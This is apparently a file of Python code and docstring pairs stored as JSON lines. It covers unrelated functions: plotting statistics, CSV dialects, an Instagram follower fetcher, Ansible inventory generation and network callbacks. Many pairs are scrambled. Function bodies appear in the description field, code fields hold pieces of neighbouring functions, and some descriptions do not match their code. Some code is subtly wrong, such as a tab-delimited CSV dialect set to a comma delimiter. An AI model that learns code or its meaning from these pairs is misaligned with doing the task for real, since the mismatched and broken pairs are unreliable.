stats['coords'] = coords\n\n stats['mean'] = np.mean(x)\n stats['median'] = np.median(x)\n stats['min'] = min_val\n stats['max'] = max_val\n\n vpstats.append(stats)\n\n return vpstats\n\n", "nl": "Returns a list of dictionaries of data which can be used to draw a seriesof violin plots. See the `Returns` section below to view the required keysof the dictionary. Users can skip this function and pass a user-defined setof dictionaries to the `axes.vplot` method instead of using MPL to do thecalculations.Parameters----------X : array-likeSample data that will be used to produce the gaussian kernel densityestimates. Must have 2 or fewer dimensions.method : callableThe method used to calculate the kernel density estimate for eachcolumn of data. When called via `method(v, coords)`, it shouldreturn a vector of the values of the KDE evaluated at the valuesspecified in coords.points : scalar, default = 100Defines the number of points to evaluate each of the gaussian kerneldensity estimates at.Returns-------A list of dictionaries containing the results for each column of data.The dictionaries contain at least the following:- coords: A list of scalars containing the coordinates this particularkernel density estimate was evaluated at.- vals: A list of scalars containing the values of the kernel densityestimate at each of the coordinates given in `coords`.- mean: The mean value for this column of data.- median: The median value for this column of data.- min: The minimum value for this column of data.- max: The maximum value for this column of data."} {"code": "def test_call_later_aio(framework_aio):\n\n pytest.importorskip('asyncio.test_utils')\n", "nl": "Wait for two Futures."} {"code": "def generate_passwords(self):\n pw_len = int(self.wf.settings['passwords']['length'])\n pw_num = int(self.wf.settings['passwords']['number'])\n pw_uppercase = self.wf.settings['passwords']['use_uppercase']\n pw_lowercase = self.wf.settings['passwords']['use_lowercase']\n pw_digits = self.wf.settings['passwords']['use_digits']\n pw_symbols = self.wf.settings['passwords']['use_symbols']\n pw_ambiguous = self.wf.settings['passwords']['avoid_ambiguous']\n\n self.log.debug('Password generation settings: {}'.format(\n self.wf.settings['passwords'])\n )\n\n return self.lpvm.generate_passwords(\n number=pw_num,\n length=pw_len,\n upper=pw_uppercase,\n lower=pw_lowercase,\n digits=pw_digits,\n symbols=pw_symbols,\n avoid_ambiguous=pw_ambiguous)\n", "nl": "Generates a selection of passwords (based on the requested settings) andreturns them."} {"code": "def push(self, x):\n self.queue2.append(x)\n self.curr_top = x\n while len(self.queue1):\n self.queue2.append(self.queue1.pop(0))\n temp = self.queue2\n self.queue2 = self.queue1\n self.queue1 = temp\n", "nl": ":type x: int:rtype: nothing"} {"code": "def combine(cls, dialect, fmtparams):\n delimiter = ','\n quotechar = '\"'\n doublequote = True\n skipinitialspace = False\n lineterminator = '\\r\\n'\n quoting = QUOTE_MINIMAL\nregister_dialect(\"excel\", excel)\n\nclass excel_tab(excel):\n \"\"\"Describe the usual properties of Excel-generated TAB-delimited files.\"\"\"\n delimiter = ','\n quotechar = '\"'\n doublequote = True\n skipinitialspace = False\n lineterminator = '\\n'\n quoting = QUOTE_ALL\nregister_dialect(\"unix\", unix_dialect)\n\n\nclass DictReader(object):", "nl": "Create a new dialect with defaults and added parameters.dialect = cls.extend(dialect, fmtparams)defaults = cls.defaults()specified = dict((attr, getattr(dialect, attr, None))for attr in defaultsif getattr(dialect, attr, None) is not None orattr in ['quotechar', 'delimiter', 'lineterminator', 'quoting'])defaults.update(specified)dialect = type(str('CombinedDialect'), (cls,), defaults)cls.validate(dialect)return dialect()def __delattr__(self, attr):if self._valid:raise AttributeError('dialect is immutable.')super(Dialect, self).__delattr__(attr)def __setattr__(self, attr, value):if self._valid:raise AttributeError('dialect is immutable.')super(Dialect, self).__setattr__(attr, value)class excel(Dialect):Describe the usual properties of Excel-generated CSV files."} {"code": "def get_all_fields(self):\n return [k for k in self.data.keys() if k != 'boxes']\n", "nl": "Returns all fields.return self.data.keys()def get_extra_fields(self):Returns all non-box fields (i.e., everything not named 'boxes')."} {"code": "def test_add_build_project(git_server, qisrc_action):\n git_server.create_repo(\"foo.git\")\n foo_repo = git_server.get_repo(\"foo.git\")", "nl": " Test Add Build Project git_server.add_qibuild_test_project(\"world\")qisrc_action(\"init\", git_server.manifest_url)build_worktree = TestBuildWorkTree()assert build_worktree.get_build_project(\"world\")def test_change_branch(git_server): Test Change Branch "} {"code": "def COCOResult(path: str, name: str = None) -> Data:\n Load an LVIS-style dataset.\n The version string is used for downloading the dataset\n and should be one of the versions of LVIS (e.g., v0.5, v1).\n\n Note that LVIS evaulation is special, but we can emulate it by adding ignore regions.\n The detector isn't punished for predicted class that LVIS annotators haven't guarenteed are in\n the image (i.e., the sum of GT annotated classes in the image and those marked explicitly not\n in the image.) In order to emulate this behavior, add ignore region labels for every class not\n found to be in the image. This is not that inefficient because ignore regions are separate out\n during mAP calculation and error processing, so adding a bunch of them doesn't hurt.\n\n The LVIS AP numbers are slightly lower than what the LVIS API\n reports because of these workarounds.\n \"\"\"", "nl": " Loads predictions from a COCO-style results file. if name is None:name = default_name(path)with open(path, \"r\") as json_file:dets = json.load(json_file)data = Data(name)for det in dets:image = det[\"image_id\"]_cls = det[\"category_id\"]score = det[\"score\"]box = det[\"bbox\"] if \"bbox\" in det else Nonemask = det[\"segmentation\"] if \"segmentation\" in det else Nonedata.add_detection(image, _cls, score, box, mask)return datadef LVIS(path: str = None,name: str = None,version_str: str = \"v1\",force_download: bool = False,) -> Data:"} {"code": "def test(self, data):", "nl": "Args:data: dict of the form {'x': [list], 'y': [list]}"} {"code": "def append_correlation(self, fromclause):\n\n self._auto_correlate = False\n self._correlate = set(self._correlate).union(\n _interpret_as_from(f) for f in fromclause)\n", "nl": "append the given correlation expression to this select()construct.This is an **in-place** mutation method; the:meth:`~.Select.correlate` method is preferred, as it providesstandard :term:`method chaining`."} {"code": "def predict(self, prediction_index, temperature_data, **kwargs):\n return self.model.predict(prediction_index, temperature_data, **kwargs)\n\n\nclass CalTRACKHourlyModel(SegmentedModel):\n \"\"\"An object which holds CalTRACK Hourly model data and metadata, and\n", "nl": "Predict over a particular index using temperature data.Parameters----------prediction_index : :any:`pandas.DatetimeIndex`Time period over which to predict.temperature_data : :any:`pandas.DataFrame`Hourly temperature data to use for prediction. Time period should matchthe ``prediction_index`` argument.**kwargsExtra keyword arguments to send to self.model.predictReturns-------prediction : :any:`pandas.DataFrame`The predicted usage values."} {"code": "def set_fixed_speed(self, channel, duty, **kwargs):\n\n Not well understood but probably related to the PIC16F1455\n microcontroller. It is possible that it isn't just used for a \"dumb\"\n PMBus/HID bridge, requiring time to be left for other tasks.\n \"\"\"", "nl": "Not supported by this device.raise NotSupportedByDevice()def _write(self, data):assert len(data) <= _REPORT_LENGTHpacket = bytearray(1 + _REPORT_LENGTH)packet[1: 1 + len(data)] = data # device doesn't use numbered reportsself.device.write(packet)def _read(self):return self.device.read(_REPORT_LENGTH)def _wait(self):Give the device some time and avoid error responses."} {"code": "def setNumThreads(self, num):\n while True:\n try:\n client = self.clients.get()\n self.serveClient(client)\n except Exception, x:\n logging.exception(x)\n", "nl": "Set the number of worker threads that should be createdself.threads = numdef serveThread(self):Loop around getting clients from the shared queue and process them."} {"code": "def _execute(args):\n LOGGER.info('prepare and test inputs for common errors')\n", "nl": "Execute the seasonal water yield model.Args:See the parameters for`natcap.invest.seasonal_water_yield.seasonal_wateryield.execute`.Returns:None"} {"code": "def eval_js(self, expr, callback=None):\n logger.log(5, \"%s eval JS %s\", self.__class__.__name__, expr)\n return self.page().runJavaScript(expr, callback or (lambda _: _))\n\n\n", "nl": "Evaluate a Javascript expression.Parameters----------expr : strA Javascript expression.callback : functionA Python function that is called once the Javascript expression has beenevaluated. It takes as input the output of the Javascript expression."} {"code": "def get_following(self, account_id, count=20, page_size=20, delayed=True):\n sec = 0\n index = 0\n accounts = []\n end_cursor = ''\n break_out_side = False\n\n if sec > self.paging_time_limit_sec:\n return accounts\n\n if count < page_size:\n raise exception.InstagramError('Count must be greater than or equal to page size.')\n\n self.__user_session['target'] = ''\n while True:\n url = endpoints.get_following_json_link(account_id, page_size, end_cursor)\n response = self.__req.get(url, headers=self.generate_header(self.__user_session))\n\n if response.status_code != self.HTTP_OK:\n error_msg = 'Response code is: ' + str(response.status_code) + '. Body: ' + response.content + ' Something went wrong. Please report issue.'\n raise exception.InstagramError(error_msg, response.status_code)\n\n json_response = json.loads(response.text)\n followed = helper.get_from_dict(json_response, ['data', 'user', 'edge_follow'])\n if followed and followed['count'] == 0:\n return accounts\n\n edges_dict = followed['edges']\n if len(edges_dict) == 0:\n raise exception.InstagramError('Failed to get followers of account id ' + account_id + '. The account is private.', self.HTTP_FORBIDDEN)\n\n for edge in edges_dict:\n accounts.append(edge['node'])\n index += 1\n if index >= count:\n break_out_side = True\n break\n\n if break_out_side:\n break\n\n page_info = followed['page_info']\n if page_info['has_next_page']:\n end_cursor = page_info['end_cursor']\n else:\n break\n\n if delayed:\n micro_sec = random.randint(self.paging_delay_minimum_microsec, self.paging_delay_maximum_microsec) / (1000 * 1000)\n time.sleep(micro_sec)\n sec += micro_sec\n\n return accounts\n", "nl": "get what account is following, need to login:param account_id::param count::param page_size::param delayed::return:"} {"code": "def collapse_no_index(node, env):\n if node.data[1].value(env) < 0x100:\n if Ops.opcodes[node.data[0]][Ops.modes.index(\"Zero Page\")] is not None:\n node.nodetype = \"ZeroPage\"\n return True\n return False\n\n", "nl": "Transforms a Memory node into a ZeroPage one if possible.Returns boolean indicating whether or not it made the collapse."} {"code": "def set_closable(self, closable):\n self.widget.setClosable(closable)\n", "nl": " Set the closable flag for the underlying widget."} {"code": "def on_connect(self, client, userdata, flags, retcode):\n refresh = \"{}/{}\".format(self.root_topic, REFRESH)\n self.log.info(\n \"Connected with client %s, userdata %s, flags %s, and \"\n \"result code %s. Subscribing to refresh command topic %s\",\n client,\n userdata,\n flags,\n retcode,\n refresh,\n )\n\n self.connected = True\n\n self._publish_mqtt(ONLINE, LWT, True)\n\n for reg in self.registered:\n self.log.info(\"on_connect: Resubscribing to %s\", reg)\n self.client.subscribe(reg)\n\n self.msg_processor(\"MQTT connected\")\n", "nl": "Called when the client connects to the broker, resubscribe to thesensorReporter topic."} {"code": "def sendall(self, message):\n self._server.parse_message(message)\n", "nl": " Takes over the responsibilities of a TCP socket's sendall function.The caller of this function will \"send\" its message as though it would aregular TCP message. This message will then be forwarded to the appropriatetest server for parsing.@param message: The message that was to be sent to the server@type message: Str@return: None"} {"code": "def _get_tree_parameters(tree_info, extra_config):\n lefts = []\n rights = []\n features = []\n thresholds = []\n values = []\n _tree_traversal(tree_info[\"tree_structure\"], lefts, rights, features, thresholds, values, 0)\n\n return TreeParameters(lefts, rights, features, thresholds, values)\n\n", "nl": "Parse the tree and returns an in-memory friendly representation of its structure."} {"code": "def wait_for_readability(self):\n with self.lock:\n while True:\n if self._socket is None or self._eof:\n return False\n if self._state in (\"connected\", \"closing\"):\n return True\n if self._state == \"tls-handshake\" and \\\n self._tls_state == \"want_read\":\n return True\n self._state_cond.wait()\n", "nl": "Stop current thread until the channel is readable.:Return: `False` if it won't be readable (e.g. is closed)"} {"code": "def __repr__(self) -> str:\n return (\"{}({}, {}, kernel_size=({}, {}), stride=({}, {}), padding=({}, {}), \"\n \"groups={}, reduce_ratio={}, dilation=({}, {}), bias={}, sigma_mapping={})\".format(\n self.__class__.__name__,\n self.in_channels,\n self.out_channels,\n self.kernel_size[0],\n self.kernel_size[1],\n self.stride[0],\n self.stride[1],\n self.padding[0],\n self.padding[1],\n self.groups,\n self.reduce_mapping,\n self.dilation[0],\n self.dilation[1],\n self.bias,\n str(self.sigma_mapping)\n ))\n", "nl": "Method returns information about the module:return: (str) Info string"} {"code": "def variables(cls):\n\n Traverses the tree to determine the vsys from a :class:`pandevice.firewall.Firewall`\n or :class:`pandevice.device.Vsys` instance somewhere before this node in the tree.\n\n Returns:\n str: The vsys id (eg. vsys2)\n\n \"\"\"", "nl": "Defines the variables that exist in this object. Override in each subclass.return ()@propertydef vsys(self):Return the vsys for this object"} {"code": "def urlsafe_b64decode(data):\n return json.dumps(o, sort_keys=True)\n\n", "nl": "urlsafe_b64decode without paddingpad = b'=' * (4 - (len(data) & 3))return base64.urlsafe_b64decode(data + pad)def to_json(o):Convert given data to JSON."} {"code": "def generic_updates(self, lineage, *args, **kwargs):\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass RenewDeployer(object):\n \"\"\"Interface for update types run when a lineage is renewed", "nl": "Perform any update types defined by the installer.If an installer is a subclass of the class containing this method, thisfunction will always be called when \"certbot renew\" is run. If theupdate defined by the installer should be run conditionally, theinstaller needs to handle checking the conditions itself.This method is called once for each lineage.:param lineage: Certificate lineage object:type lineage: RenewableCert"} {"code": "def log_error(self, msg):\n self.logger.error(msg)\n", "nl": "Log msg using logging.ERROR level.:param msg: log `string`"} {"code": "def print_stats(self, stream=None):\n if not stream:\n stream = sys.stdout\n self.metadata.sort(key=lambda x: -x.size)\n stream.write('%-10s %8s %-12s %-46s\\n' % ('id', 'size', 'type',\n 'representation'))\n for g in self.metadata:\n stream.write('0x%08x %8d %-12s %-46s\\n' % (g.id, g.size,\n trunc(g.type, 12),\n trunc(g.str, 46)))\n stream.write('Garbage: %8d collected objects (%s in cycles): %12s\\n' %\n (self.count, self.num_in_cycles, pp(self.total_size)))\n\n", "nl": "Log annotated garbage objects to console or file.:param stream: open file, uses sys.stdout if not given"} {"code": "def from_xml_node(cls, xml_node):\n num_id = get_xml_int_value(xml_node, Elements.ID)\n object_name = get_xml_text_value(xml_node, Elements.OBJECT_NAME)\n object_type = get_xml_text_value(xml_node, Elements.OBJECT_TYPE)\n object_details = get_xml_text_value(xml_node, Elements.OBJECT_DETAILS)\n management_name = get_xml_text_value(xml_node, Elements.MANAGEMENT_NAME)\n management_id = get_xml_int_value(xml_node, Elements.MANAGEMENT_ID)\n object_UID = get_xml_text_value(xml_node, Elements.OBJECT_UID)\n return cls(num_id, object_name, object_type, object_details, management_name, management_id, object_UID)\n", "nl": "Initialize the object from a XML node.:param xml_node: The XML node from which all necessary parameters will be parsed.:type xml_node: xml.etree.Element"} {"code": "def liveTreeDoubleClicked(self, item):\n\n if item.isDisabled():\n return\n\n if (\n self.client.games.party\n and self.client.games.party.memberCount > 1\n ):\n if not self.client.games.leave_party():\n return\n\n if self.liveTree.indexOfTopLevelItem(item) == -1:\n self.client.viewing_replay.emit(item.gurl)\n replay(item.gurl)\n", "nl": "This slot launches a live replay from eligible items in liveTree"} {"code": "def test(self, pattern):\n return self.check(pattern) is not None\n", "nl": "Apply a pattern on the current position and checkif it patches. Doesn't touch pos."} {"code": "def parse_cli_args(self):\n\n if self.route53_enabled:\n self.get_route53_records()\n\n for region in self.regions:\n self.get_instances_by_region(region)\n if self.rds_enabled:\n self.get_rds_instances_by_region(region)\n if self.elasticache_enabled:\n self.get_elasticache_clusters_by_region(region)\n self.get_elasticache_replication_groups_by_region(region)\n if self.include_rds_clusters:\n self.include_rds_clusters_by_region(region)\n\n self.write_to_cache(self.inventory, self.cache_path_cache)\n self.write_to_cache(self.index, self.cache_path_index)\n", "nl": " Command line argument processing parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on EC2')parser.add_argument('--list', action='store_true', default=True,help='List instances (default: True)')parser.add_argument('--host', action='store',help='Get all the variables about a specific instance')parser.add_argument('--refresh-cache', action='store_true', default=False,help='Force refresh of cache by making API requests to EC2 (default: False - use cache files)')parser.add_argument('--profile', '--boto-profile', action='store', dest='boto_profile',help='Use boto profile for connections to EC2')self.args = parser.parse_args()def do_api_calls_update_cache(self): Do API calls to each region, and save data in cache files "} {"code": "def in_pubsub(self):\n return self._in_pubsub\n\n @property", "nl": "True when the protocol is in pubsub mode"} {"code": "def rename_column(self, bdb, generator_id, oldname, newname):\n raise NotImplementedError\n", "nl": "Note that a table column has been renamed.Not currently used. To be used in the future when executing::ALTER TABLE RENAME COLUMN TO "} {"code": "def extend( self, itemseq ):\n if isinstance(itemseq, ParseResults):\n self += itemseq\n else:\n self.__toklist.extend(itemseq)\n", "nl": "Add sequence of elements to end of ParseResults list of elements.Example::patt = OneOrMore(Word(alphas))# use a parse action to append the reverse of the matched strings, to make a palindromedef make_palindrome(tokens):tokens.extend(reversed([t[::-1] for t in tokens]))return ''.join(tokens)print(patt.addParseAction(make_palindrome).parseString(\"lskdj sdlkjf lksd\")) # -> 'lskdjsdlkjflksddsklfjkldsjdksl'"} {"code": "def set_e_lim(self, high, low):\n self._e_lim_high = high / 1000.0\n self._e_lim_low = low / 1000.0\n", "nl": "Sets the max and min error bounds. Arguments in ms."} {"code": "def mask_nan(y_true, y_pred):\n notnan_true = K.cast(~tf.math.is_nan(y_true), \"float32\")\n num_notnan = K.sum(K.flatten(notnan_true))\n y_pred = tf.math.multiply(y_pred, notnan_true)\n\n y_true = K.cast(\n tf.where(~tf.math.is_nan(y_true), y_true, tf.zeros_like(y_true)), \"float32\"\n )\n return y_pred, y_true, num_notnan\n\n", "nl": "Mask nans and return tensors for use by loss functions"} {"code": "def d_setKartRimType( self, rimsType ):\n self.sendUpdate( \"setKartRimType\", [ rimsType ] )\n", "nl": "Purpose: The d_setKartRimType Method sets the rims accessoryfor the karts tires by sending a distributed message to theclient for an update.Params: rimsType - the type of rims for the kart tires.Return: None"} {"code": "def set_eida_token(self, token, validate=True):\n user, password = self._resolve_eida_token(token, validate=validate)\n self.set_credentials(user, password)\n", "nl": "Fetch user and password from the server using the provided token,resulting in subsequent web service requests for waveforms beingauthenticated for potential access to restricted data.This only works for select EIDA nodes and relies on the auth mechanismdescribed here:http://geofon.gfz-potsdam.de/waveform/archive/auth/index.phpThis will overwrite any previously set-up credentials/authentication.:type token: str:param token: Token for EIDA authentication mechanism, seehttp://geofon.gfz-potsdam.de/waveform/archive/auth/index.php.This mechanism is only available on select EIDA nodes. The tokencan be provided in form of the PGP message as a string, or thefilename of a local file with the PGP message in it.:type validate: bool:param validate: Whether to sanity check the token before sending it tothe EIDA server or not."} {"code": "def _monitor_devices_stop(self, client):\n if not self.configured:\n return\n\n self.machine.bcp.transport.send_to_clients_with_handler(\n handler=\"_devices\",\n bcp_command='device',\n type=device.class_label,\n name=device.name,\n changes=(attribute_name, Util.convert_to_simply_type(old_value), Util.convert_to_simply_type(new_value)),\n state=device.get_monitorable_state())\n", "nl": "Remove client to no longer get notified of device changes.self.machine.bcp.transport.remove_transport_from_handle(\"_devices\", client)def notify_device_changes(self, device, attribute_name, old_value, new_value):Notify all listeners about device change."} {"code": "def _get_filenames(self, dir_):\n\n filenames = []\n\n if os.path.exists(dir_):\n for filename in os.listdir(dir_):\n if filename.lower().endswith(self.exts):\n filenames.append(filename)\n\n return filenames\n", "nl": "Create and return a list of filenames with matching extensions in the given directory.:param dir_:Directory to scan for files. Sub-dirs are not scanned.:return:List of filenames. Only filenames. Does not include the directory."} {"code": "def isSameName(self, other):\n if not isinstance(other, self.__class__):\n return False\n if 'name' in self.data and \\\n 'name' in other.data and \\\n build_name(self.data, canonical=True) == \\\n build_name(other.data, canonical=True):\n return True\n if self.accessSystem == other.accessSystem and \\\n self.personID and self.personID == other.personID:\n return True\n return False\n\n isSamePerson = isSameName\n", "nl": "Return true if two persons have the same name and imdbIndexand/or personID."} {"code": "def fully_connect_layers(input_layer, list_weights, list_bias):\n if len(list_weights) == 1:\n logits = fully_connect(input_layer, list_weights[0], list_bias[0])\n else:\n logits = fully_connect(input_layer, list_weights[0], list_bias[0], activation='relu')\n if len(list_weights) > 2:\n for l_idx in range(1, len(list_weights) - 1):\n logits = fully_connect(logits, list_weights[l_idx], list_bias[l_idx], activation='relu')\n logits = fully_connect(logits, list_weights[-1], list_bias[-1])\n return logits\n", "nl": "Fully conntect multiple layers, with(1) input layer unchanged.(2) all layers have relu activation except for the last layer."} {"code": "def extends(self, interface, strict=True):\n return ((interface in self._implied)\n and\n ((not strict) or (self != interface))\n )\n", "nl": "Does the specification extend the given interface?Test whether an interface in the specification extends thegiven interface"} {"code": "def __preprocess(self):\n with open(self.split_file, 'r') as file_names:\n for file_name in file_names:\n img_path = Path('{}/{}.jpg'.format(self.images_dir, file_name.strip(' \\n')))\n mask_path = Path('{}/{}.mat'.format(self.masks_dir, file_name.strip(' \\n')))\n assert os.path.isfile(img_path)\n assert os.path.isfile(mask_path)\n self.images.append(img_path)\n self.masks.append(mask_path)\n assert len(self.images) == len(self.masks)\n", "nl": "Pre-process the dataset to get mask and file paths of the images.Raises:AssertionError: When length of images and masks differs."} {"code": "def _generate_inventory(self, resources, keep_slaves=None):\n keep_slaves = keep_slaves or []\n ssh_common_args = \" \".join(self.ssh_common_args)\n conf = {\n \"all\": {\"hosts\": {}},\n \"kube-master\": {\n \"hosts\": {},\n \"vars\": {\n \"ansible_ssh_common_args\": ssh_common_args\n },\n },\n \"kube-node\": {\"hosts\": {}},\n \"keep-slaves\": {\"hosts\": {}},\n \"etcd\": {\"hosts\": {}},\n \"vault\": {\"hosts\": {}},\n \"k8s-cluster\": {\"children\": {\"kube-node\": None,\n \"kube-master\": None}},\n }\n for master in resources[\"masters\"]:\n conf[\"all\"][\"hosts\"][master[\"hostname\"]] = {\n \"access_ip\": master[\"ip\"],\n \"ansible_host\": master[\"fip\"],\n \"ansible_user\": self.ssh_username,\n \"ansible_become\": True,\n }\n conf[\"kube-master\"][\"hosts\"][master[\"hostname\"]] = None\n conf[\"etcd\"][\"hosts\"][master[\"hostname\"]] = None\n conf[\"vault\"][\"hosts\"][master[\"hostname\"]] = None\n for slave in resources[\"slaves\"]:\n conf[\"all\"][\"hosts\"][slave[\"hostname\"]] = {\n \"ansible_host\": slave[\"ip\"],\n \"ansible_user\": self.ssh_username,\n \"ansible_become\": True,\n }\n if slave[\"hostname\"] not in keep_slaves:\n conf[\"kube-node\"][\"hosts\"][slave[\"hostname\"]] = None\n\n user = shlex.quote(self.ssh_username)\n ip = shlex.quote(resources[\"masters\"][0][\"fip\"])\n ssh_args_fmt = \"-o ProxyCommand=\\\"ssh {user}@{ip} {args} -W %h:%p\\\" {args}\"\n ssh_args = ssh_args_fmt.format(user=user, ip=ip,\n args=ssh_common_args)\n conf[\"kube-node\"][\"vars\"] = {\"ansible_ssh_common_args\": ssh_args}\n conf[\"keep-slaves\"][\"vars\"] = {\"ansible_ssh_common_args\": ssh_args}\n return conf\n", "nl": "Generate inventory object for kubespray.:param list keep_slaves: list of slaves to keep when generatinginventory for removing nodes (see link below)https://github.com/kubernetes-incubator/kubespray/blob/v2.5.0/docs/getting-started.md#remove-nodes:param dict resources: dict with masters and slaves detailsResources may look like this:{\"masters\": [{\"hostname\": \"host-1\", \"ip\": \"10.1.1.1\", \"fip\": \"172.16.1.1\"},{\"hostname\": \"host-2\", \"ip\": \"10.1.1.2\", \"fip\": \"172.16.1.2\"},{\"hostname\": \"host-3\", \"ip\": \"10.1.1.3\", \"fip\": \"172.16.1.3\"},],\"slaves\": [{\"hostname\": \"host-4\", \"ip\": \"10.1.1.4\"},{\"hostname\": \"host-5\", \"ip\": \"10.1.1.5\"},],}Return value is json serializable object to be used as kubesprayinventory file."} {"code": "def load(self,filen):\n fp = io.open(filen,'rt')\n for line in fp:\n line = line.strip('\\n')\n if line.startswith('\n continue\n try:\n name,seq = split_line(line)\n self.add(name,seq)\n except ValueError as ex:\n print(\"Error for line: '%s'\" % line.rstrip('\\n'))\n print(\"%s\" % ex)\n fp.close()\n", "nl": "Load name/sequence pairs from a fileThe file should consist of one entry per line, as'name' 'sequence'. Blank lines and linesstarting with '#' are ignored.(This is the format for FastQC's contaminants file.)Arguments:filen: name of file to load data from"} {"code": "def check_bitdepth_colortype(bitdepth, colortype):\n\n if bitdepth not in (1, 2, 4, 8, 16):\n raise FormatError(\"invalid bit depth %d\" % bitdepth)\n if colortype not in (0, 2, 3, 4, 6):\n raise FormatError(\"invalid colour type %d\" % colortype)\n if colortype & 1 and bitdepth > 8:\n raise FormatError(\n \"Indexed images (colour type %d) cannot\"\n \" have bitdepth > 8 (bit depth %d).\"\n \" See http://www.w3.org/TR/2003/REC-PNG-20031110/\n (bitdepth, colortype))\n if bitdepth < 8 and colortype not in (0, 3):\n raise FormatError(\n \"Illegal combination of bit depth (%d)\"\n \" and colour type (%d).\"\n \" See http://www.w3.org/TR/2003/REC-PNG-20031110/\n (bitdepth, colortype))\n\n", "nl": "Check that `bitdepth` and `colortype` are both valid,and specified in a valid combination. Returns if valid,raise an Exception if not valid."} {"code": "def insertion_unsort(str, extended):\n result = bytearray()\n j = 0\n while 1:\n t = T(j, bias)\n if N < t:\n result.append(digits[N])\n return bytes(result)\n result.append(digits[t + ((N - t) % (36 - t))])\n N = (N - t) // (36 - t)\n j += 1\n", "nl": "3.2 Insertion unsort codingoldchar = 0x80result = []oldindex = -1for c in extended:index = pos = -1char = ord(c)curlen = selective_len(str, char)delta = (curlen+1) * (char - oldchar)while 1:index,pos = selective_find(str,c,index,pos)if index == -1:breakdelta += index - oldindexresult.append(delta-1)oldindex = indexdelta = 0oldchar = charreturn resultdef T(j, bias):# Punycode parameters: tmin = 1, tmax = 26, base = 36res = 36 * (j + 1) - biasif res < 1: return 1if res > 26: return 26return resdigits = b\"abcdefghijklmnopqrstuvwxyz0123456789\"def generate_generalized_integer(N, bias):3.3 Generalized variable-length integers"} {"code": "def get_challenge_from_args_or_channel(database, args, channel_id):\n\n current_chal = get_challenge_by_channel_id(database, channel_id)\n\n if current_chal:\n challenge = current_chal\n else:\n try:\n challenge_name = args[0].lower().strip(\"*\")\n challenge = get_challenge_by_name(database, challenge_name, channel_id)\n except IndexError:\n challenge = None\n\n return challenge\n\n", "nl": "Helper method for getting a Challenge either from arguments or current channel.Return the corresponding Challenge if called from a challenge channel.Return the Challenge corresponding to the first argument if called from theCTF channel.Return None if no Challenge can be found."} {"code": "def center_from_endpoints(g1, g2):\n grasp_axis = g2 - g1\n if np.linalg.norm(grasp_axis) == 0:\n return grasp_axis\n return grasp_axis / np.linalg.norm(grasp_axis)\n\n @staticmethod", "nl": " Grasp center from endpoints as np 3-arrays grasp_center = (g1 + g2) / 2return grasp_center@staticmethoddef axis_from_endpoints(g1, g2): Normalized axis of grasp from endpoints as np 3-arrays "} {"code": "def __init__(self, paths, base_dataset):\n if isinstance(paths, six.string_types):\n with open(paths) as paths_file:\n paths = [path.strip() for path in paths_file]\n self._paths = paths\n\n self.class_name_list = list(set(self.get_directory_name(path) for path in paths))\n\n self.base_dataset = base_dataset\n", "nl": "ex. paths = root/a/1.png root/b/2.png root/c/3.png -> labeled a,b,c"} {"code": "def connect(self, parent=None, child=None):\n\n parent_node, parent_terminal = parent\n child_node, child_terminal = child\n child_node.ready[child_terminal] = False", "nl": "Form a relationship between two nodes, from the parent data will bepassed to childArgs:parent:child:"} {"code": "def scan_mark(self, x):\n difference between X and Y and the coordinates given in\n scan_mark.\"\"\"", "nl": "Remember the current X, Y coordinates.self.tk.call(self._w, 'scan', 'mark', x)def scan_dragto(self, x):Adjust the view of the canvas to 10 times the"} {"code": "def getstring(message = _(\"Enter a value: \")):\n try:\n input = raw_input\n except:\n pass\n return raw_input(message)\n\n", "nl": "Ask user to enter a value"} {"code": "def is_block_device(self):\n try:\n return S_ISBLK(self.stat().st_mode)\n except OSError as e:\n if e.errno != ENOENT:\n raise\n return False\n", "nl": "Whether this path is a block device."} {"code": "def test_retries_and_good_response(self):\n FacebookAdsApi.init(access_token='access_token')\n\n expected_value = {\"foo\":\"bar\"}\n\n account = AdAccount('abc_123')\n patcher = patch('requests.Session.request')\n mocked_request = patcher.start()\n\n mocked_bad_response = Response()\n mocked_bad_response._content = b'images'\n\n mocked_good_response = Response()\n\n byte_string = json.dumps(expected_value).encode()\n\n mocked_good_response._content = byte_string\n\n mocked_request.side_effect = [mocked_bad_response, mocked_good_response]\n\n ad_creative_object = AdsInsights('', account, '', '', {}, {})\n with self.assertRaises(TypeError):\n ad_creative_object.account.get_insights(params={}, is_async=True)\n\n actual_response = ad_creative_object.account.get_insights(params={}, is_async=True)\n\n self.assertDictEqual(expected_value, actual_response._json)\n\n patcher.stop()\n\n", "nl": "Facebook has a class called `FacebookResponse` and it is created from a `requests.Response`. Some`facebook_business` functions depend on calling `FacebookResponse.json()`, which sometimes returns astring instead of a dictionary. This leads to a `TypeError(\"string indices must be integers\")` andwe want to retry these.This test will return a \"bad\" API response the first time the function is called, then a\"good\" response that can be `json.loads()`. We check that the resulting object has ourexpected value in it."} {"code": "def reset_inference(self, save=True):\n self.reset_engine_object(save=save)\n for node in self.nodes.all():\n node.reset_inference(save=save)\n if self.network_type == self.BN_TYPE_CLUSTERING:\n self.store_results(reset=True)\n return(True)\n", "nl": "Resets the Engine Object and timestamp from the Network(the Network object itself and all the Nodes objects in it)"} {"code": "def hex_to_url_safe(cls, value):\n if value is None:\n return None\n\n hex_str = uuid.UUID(hex=value).hex\n\n if cls._has_magic_byte(hex_str):\n hex_str = cls._remove_magic_byte(hex_str)\n\n data = binascii.unhexlify(hex_str)\n return base64.urlsafe_b64encode(data).decode().rstrip(\"=\")\n", "nl": "Return the URL-safe version of the given hex-format UUID.Converts UUID's from the database-internal hex format to the URL-safeformat that's used in the application."} {"code": "def get_status_str(self) -> str:\n return STATUS_STR_TEMPLATE.format(\n name=str(self.name),\n alarm=str(self.alarm / 1000000),\n capacity=str(self.capacity),\n capacity_level=str(self.capacity_level),\n charge_start_threshold=str(self.charge_start_threshold),\n charge_stop_threshold=str(self.charge_stop_threshold),\n cycle_count=str(self.cycle_count),\n energy_full=str(self.energy_full / 1000000),\n energy_full_design=str(self.energy_full_design / 1000000),\n battery_health=str(self.battery_health),\n energy_now=str(self.energy_now / 1000000),\n manufacturer=str(self.manufacturer),\n model_name=str(self.model_name),\n power_now='Yes' if self.power_now else 'No',\n present='Yes' if self.present else 'No',\n serial_number=str(self.serial_number),\n status=str(self.status),\n technology=str(self.technology),\n type=str(self.type),\n voltage_min_design=str(self.voltage_min_design),\n voltage_now=str(self.voltage_now)\n )\n\n\nclass BatteryHandler(object):\n \"\"\"\n", "nl": "Return status string:return: str: status string"} {"code": "def library_option(self, lib):\n raise 